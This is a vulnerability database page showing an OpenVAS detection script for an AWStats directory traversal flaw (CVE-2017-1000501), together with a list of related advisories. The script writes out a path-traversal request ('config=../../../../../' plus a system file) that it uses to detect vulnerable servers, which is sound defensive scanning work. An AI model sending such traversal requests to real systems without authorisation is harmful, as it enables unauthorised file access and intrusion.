Lucene search
+L

AWStats < 7.7 Directory Traversal Vulnerability - Active Check

🗓️ 08 Jan 2018 00:00:00Reported by Copyright (C) 2018 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 18229 Views

AWStats vulnerability to unauthenticated remote code execution due to a path traversal flaw in 'config' and 'migrate' parameter

Related
Refs
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
awstats -- remote code execution
3 Jan 201800:00
freebsd
alpinelinux
AlpineLinux
CVE-2017-1000501
3 Jan 201815:00
alpinelinux
circl
Circl
CVE-2017-1000501
7 Dec 202022:30
circl
cnvd
CNVD
AWStats Path Traversal Vulnerability
5 Jan 201800:00
cnvd
cve
CVE
CVE-2017-1000501
3 Jan 201815:00
cve
cvelist
Cvelist
CVE-2017-1000501
3 Jan 201815:00
cvelist
debian
Debian
[SECURITY] [DLA 1238-1] awstats security update
10 Jan 201805:59
debian
debian
Debian
[SECURITY] [DSA 4092-1] awstats security update
19 Jan 201809:13
debian
debian
Debian
[SECURITY] [DSA 4092-1] awstats security update
19 Jan 201809:13
debian
debiancve
Debian CVE
CVE-2017-1000501
3 Jan 201815:00
debiancve
Rows per page
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:awstats:awstats";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140659");
  script_version("2025-09-09T14:09:45+0000");
  script_tag(name:"last_modification", value:"2025-09-09 14:09:45 +0000 (Tue, 09 Sep 2025)");
  script_tag(name:"creation_date", value:"2018-01-08 11:12:36 +0700 (Mon, 08 Jan 2018)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-07-27 03:15:00 +0000 (Mon, 27 Jul 2020)");
  script_cve_id("CVE-2017-1000501");
  script_name("AWStats < 7.7 Directory Traversal Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_awstats_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("awstats/http/detected");
  script_require_ports("Services/www", 80);

  script_xref(name:"URL", value:"https://awstats.sourceforge.io/docs/awstats_changelog.txt");
  script_xref(name:"URL", value:"http://seclists.org/oss-sec/2017/q4/435");

  script_tag(name:"summary", value:"AWStats is vulnerable to a path traversal flaw in the handling
  of the 'config' and 'migrate' parameters resulting in unauthenticated remote code execution
  (RCE).");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"affected", value:"AWStats version 7.6 and prior.");

  script_tag(name:"solution", value:"Update to version 7.7 or later.");

  script_tag(name:"qod_type", value:"remote_active");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("traversal_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach pattern(keys(files)) {

  file = files[pattern];

  url = dir + "/awstats.pl?config=../../../../../" + file;

  if (http_vuln_check(port: port, url: url, pattern: "../../../../../" + file, check_header: TRUE,
                      extra_check: make_list("Warning: Syntax error line", "file, web server or permissions) may be wrong."))) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Sep 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
CVSS 39.8
EPSS0.04352
18229